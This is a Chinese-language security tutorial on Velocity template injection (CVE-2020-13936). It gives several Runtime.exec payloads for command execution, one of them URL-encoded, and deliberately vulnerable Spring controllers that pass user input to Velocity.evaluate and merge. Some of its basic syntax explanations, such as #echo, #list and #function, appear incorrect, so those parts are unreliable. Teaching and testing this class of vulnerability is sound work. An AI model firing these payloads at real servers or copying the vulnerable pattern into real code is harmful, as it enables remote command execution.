Java安全之Velocity模板注入漏洞

简介: Java安全之Velocity模板注入漏洞

在前面两篇文章已经提到过FreeMarker,Thymeleaf 模板注入了内容,这篇是最后一篇。

什么是 Velocity

Velocity 模板是一种用于快速开发 Web 应用程序的模板引擎。它允许开发人员使用自然语言和简单的语法来描述 Web 应用程序的 UI 和业务逻辑,从而提高开发效率和代码质量。

在 Velocity 中,开发人员可以使用模板文件来定义 Web 应用程序的用户界面和业务逻辑。这些模板文件通常使用 Velocity 语法进行描述,例如变量、条件语句、循环等。

Velocity 模板引擎使用一些内置的上下文对象,例如 $velocityContext$templateLoader$templateResolver。这些对象允许开发人员在模板中使用变量、加载模板文件和解析表达式等操作。

以下是一个简单的 Velocity 模板示例,该模板将两个数字相加并将结果打印到屏幕上:

#set ($result = $num1 + $num2)           
#echo $result

在这个示例中,$num1$num2 是模板中的变量,它们将被编译成 Java 类的常量。$result 是模板中的输出变量,它将被编译成 Java 类的返回值。在模板中,可以使用 #set 指令将变量赋值给另一个变量,并使用 #echo 指令将结果输出到屏幕上。

Velocity 模板引擎还支持使用通配符和条件语句。例如,以下模板示例将根据用户输入的年份计算平均数并将结果打印到屏幕上:

#if ($year != null)  
    #set ($avg = $year / 4)  
#else  
    #set ($avg = 0)  
#end  
#echo $avg  

在这个示例中,如果 $year 不为 null,则使用 #set 指令将其除以 4,并将结果存储在 $avg 变量中。如果 $yearnull,则使用 #set 指令将其存储在 $avg 变量中,并将其初始化为 0。在模板中,可以使用 #if#else 指令来处理条件语句。

Velocity 模板页面

一个基础的基于 VTL 的模板文件页面

<html>
<body>
#set( $foo = "Velocity" )
Hello $foo World!
</body>
<html>   

基础命令

1.#set:用于将变量赋值给另一个变量。例如,以下命令将 $x 的值设置为 2000:

#set ($x = 2000)

2.#list:用于列出变量的值。例如,以下命令将 $x$y 的值列出:

#list ($x, $y)

3.#if:用于处理条件语句。如果条件为真,则模板将输出条件语句的值,否则输出空文本。例如,以下命令将输出 truefalse:

#if ($x > 10)               
  true               
#else               
  false               
#end

4.#else:用于处理条件语句的特殊情况。如果条件语句为真,则输出条件语句的值,否则输出空文本。例如,以下命令将输出 truefalse:

#if ($x > 10)               
  true               
#else               
  false               
#end

5.#foreach:用于处理循环。循环可以遍历数组、对象或字符串。例如,以下命令将遍历 $x 数组并输出每个元素的值:

#foreach ($x in $xs)               
  $x               
#end

6.#echo:用于输出模板中的文本。例如,以下命令将输出 Hello, World!:

#echo "Hello, World!"

7.#function:用于定义自定义函数。自定义函数可以处理数据,并在模板中使用。例如,以下命令定义了一个自定义函数 myFunction:

#function myFunction($x)               
  echo $x               
#end

8.#include:用于加载模板文件。例如,以下命令将加载名为 index.vm 的模板文件:

#include "index.vm"

set 指令攻击语句

第一种

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime                
",null).invoke(null,null).exec("open -a calculator")

上述代码,通过set设置一个变量e,然后通过e,反射调用Runtime这个class,然后获取getRuntime中的exec函数,执行弹计算器的指令。

第二种

#set($s='')##                
#set($runtime = $x.class.forName('java.lang.Runtime'))##                
#set($char = $x.class.forName('java.lang.Character'))##                
#set($str = $x.class.forName('java.lang.String'))##                
#set($cmd=$rt.getRuntime().exec('id'))##                
$ex.waitFor()                
#set($out=$cmd.getInputStream())##                
#foreach( $i in                
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

上述代码,反射加载三个方法,然后获取id执行后的字符流,然后作为字符串输出。

第三种

#set ($e="exp")                
#set                
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).i                
nvoke(null,null).exec($cmd))                
#set                
($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream"                
).invoke($a))                
#set($sc = $e.getClass().forName("java.util.Scanner"))                
#set($constructor =                
$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))                
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))                
#if($scan.hasNext())                
$scan.next()                
#end

首先,代码创建一个变量 $e 并将其设置为字符串 "exp"。接下来,代码调用 Java 反射 API 来获取 Runtime 类的一个方法,并使用 exec 方法执行 $cmd 变量中 存储的命令。这个命令的输出将被保存在变量 $input 中然后,代码使用 Java 反射 API 获取 Scanner 类和其构造函数,以及使用 $input 变量创建 Scanner 对 象。该对象的 useDelimiter 方法设置了输入流的分隔符。最后,代码检查 Scanner 对象是否有下一个输入行。如果有,它将输出该行。否则,什么也不会发生。

Velocity注入漏洞

CVE-2020-13936

能够修改 Velocity 模板的攻击者可能会以与运行 Servlet 容器的帐户相同的权限执行任意Java代码或运 行任意系统命令。这适用于允许不受信任的用户上传/修改运行 Apache Velocity Engine 版本高达 2.2 的 Velocity 模板的应用程序。

简单说,Velocity 小于等于 2.2 版本存在模板注入漏洞。

搭建环境

640.png

然后在pom中加入依赖

<dependency>                
  <groupId>org.apache.velocitygroupId>                  
  <artifactId>velocityartifactId>                    
  <version>1.7version>                      
dependency>

创建一个漏洞代码 exp

package com.example.demo;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
@Controller
public class exp {
    @GetMapping("/ssti")
    public void velocity(String template) {
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("name", "lisi");
        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

创建一个控制器,映射uri为ssti;

创建一个 Velocity 上下文对象,添加一个lisi变量到上下文中;

并将上下 文对象和一个名为 "test" 的模板名称传递给 Velocity.evaluate() 方法;

然后写入StringWriter对象中。

漏洞触发点

evaluate函数

61行中:

writer :输出结果的写入器,用于将生成的结果写入到指定位置。

context :上下文数据,即用于替换模板中占位符的数据。

logTag :日志标签,用于在日志中区分不同的 evaluate 调用。

instring :待处理的 Velocity 模板字符串。

运行代码,触发漏洞代码,payload需要把# “ 进行url编码

%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod                  
(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20calculator%22)

640.png    

merge 触发

 template :待处理的 Velocity 模板。

context :上下文数据,即用于替换模板中占位符的数据。

writer :输出结果的写入器,用于将生成的结果写入到指定位置。

创建对应的code

package com.example.demo;                  
import org.apache.velocity.VelocityContext;                  
import org.apache.velocity.runtime.RuntimeServices;                  
import org.apache.velocity.runtime.RuntimeSingleton;                  
import org.apache.velocity.runtime.parser.ParseException;                  
import org.apache.velocity.runtime.parser.node.SimpleNode;                  
import org.springframework.stereotype.Controller;                  
import org.springframework.web.bind.annotation.RequestMapping;                  
import org.springframework.web.bind.annotation.RequestParam;                  
import org.springframework.web.bind.annotation.ResponseBody;                  
import org.apache.velocity.Template;                  
import java.io.IOException;                  
import java.io.StringReader;                  
import java.io.StringWriter;                  
import java.nio.file.Files;                  
import java.nio.file.Paths;                  
@Controller                  
public class MergeDemo {                  
    @RequestMapping("/ssti/velocity2")                  
    @ResponseBody                  
    public String velocity2(@RequestParam("test") String username) throws IOException, ParseException {                  
        String templateString = new String(Files.readAllBytes(Paths.get("template.vm")));                  
        templateString = templateString.replace("", username);                  
        StringReader reader = new StringReader(templateString);                  
        VelocityContext ctx = new VelocityContext();                  
        ctx.put("name", "lisi");                  
        ctx.put("phone", "111222");                  
        ctx.put("email", "123@qq.com");                  
        StringWriter out = new StringWriter();                  
        Template template = new Template();                  
        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();                  
        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));                  
        template.setRuntimeServices(runtimeServices);                  
        template.setData(node);                  
        template.initDocument();                  
        template.merge(ctx, out);                  
        return out.toString();                  
    }                  
}

从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过 template.merge 渲染触发模 板注入漏洞。所以我们需要修改vm渲染文件。

假设我们到了后台,有模板修改的功能,那我们便可修改vm文件来进行攻击。

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a calculator")

640.png

然后启动项目,因为这里需要传递参数

http://127.0.0.1:8080/ssti/velocity2?test=lisi

merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数, 用于存储数据,并将数据与模板合并,生成输出。

evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是 否成功执行。

evaluate() 方法通常用于执行带有条件的模板。

漏洞修复

升级高版本。

相关文章
|
6天前
|
安全 Java API
java安全特性
java安全特性
20 8
|
3天前
|
SQL 安全 Java
JAVA代码审计SAST工具使用与漏洞特征
JAVA代码审计SAST工具使用与漏洞特征
15 1
|
3天前
|
安全 Java Android开发
JavaWeb解压缩漏洞之ZipSlip与Zip炸弹
JavaWeb解压缩漏洞之ZipSlip与Zip炸弹
15 2
|
26天前
|
安全 Java API
【性能与安全的双重飞跃】JDK 22外部函数与内存API:JNI的继任者,引领Java新潮流!
【9月更文挑战第7天】JDK 22外部函数与内存API的发布,标志着Java在性能与安全性方面实现了双重飞跃。作为JNI的继任者,这一新特性不仅简化了Java与本地代码的交互过程,还提升了程序的性能和安全性。我们有理由相信,在外部函数与内存API的引领下,Java将开启一个全新的编程时代,为开发者们带来更加高效、更加安全的编程体验。让我们共同期待Java在未来的辉煌成就!
49 11
|
27天前
|
安全 Java API
【本地与Java无缝对接】JDK 22外部函数和内存API:JNI终结者,性能与安全双提升!
【9月更文挑战第6天】JDK 22的外部函数和内存API无疑是Java编程语言发展史上的一个重要里程碑。它不仅解决了JNI的诸多局限和挑战,还为Java与本地代码的互操作提供了更加高效、安全和简洁的解决方案。随着FFM API的逐渐成熟和完善,我们有理由相信,Java将在更多领域展现出其强大的生命力和竞争力。让我们共同期待Java编程新纪元的到来!
45 11
|
1月前
|
Java Apache Maven
Java中使用poi+poi-tl实现根据模板导出word文档
这个过程不仅简化了文档生成的工作,而且保证了生成文档的一致性与准确性,特别适合于那些需要生成大量文档的自动化场景。通过以上步骤,Java开发人员可以实现高效、可靠的Word文档导出功能。
290 0
|
2月前
|
前端开发 开发者 安全
JSF支付功能大揭秘:探索如何在Java世界中实现安全无缝的在线支付体验
【8月更文挑战第31天】在电子商务和在线交易日益普及的今天,实现在线支付功能已成为许多Web应用的必备需求。JavaServer Faces (JSF) 作为一种流行的Java Web框架,提供了丰富的组件和工具来构建用户界面,包括与支付网关集成以实现在线支付。支付网关是处理信用卡和借记卡支付的系统,在商家和银行之间起到桥梁作用。本文将探讨如何使用JSF与支付网关集成,以及实现在线支付功能时需要考虑的关键点
36 0
|
安全 Java 应用服务中间件
Java在网站渗透测试中的漏洞分析
近期许多网民跟我说为何出現系统漏洞的网站程序全是PHP开发设计的,而非常少有JAVA和Python的渗透案例,先不用说python,就PHP和Java谈一谈。在这以前,先何不记牢那么一个依据(眼底下也无需担心它对吗):PHP网站系统漏洞类型多但不繁杂,Java网站系统漏洞则反过来。
1210 0
Java在网站渗透测试中的漏洞分析
|
4天前
|
安全 Java 调度
Java编程时多线程操作单核服务器可以不加锁吗?
Java编程时多线程操作单核服务器可以不加锁吗?
17 2
|
8天前
|
存储 缓存 Java
java线程内存模型底层实现原理
java线程内存模型底层实现原理
java线程内存模型底层实现原理
下一篇
无影云桌面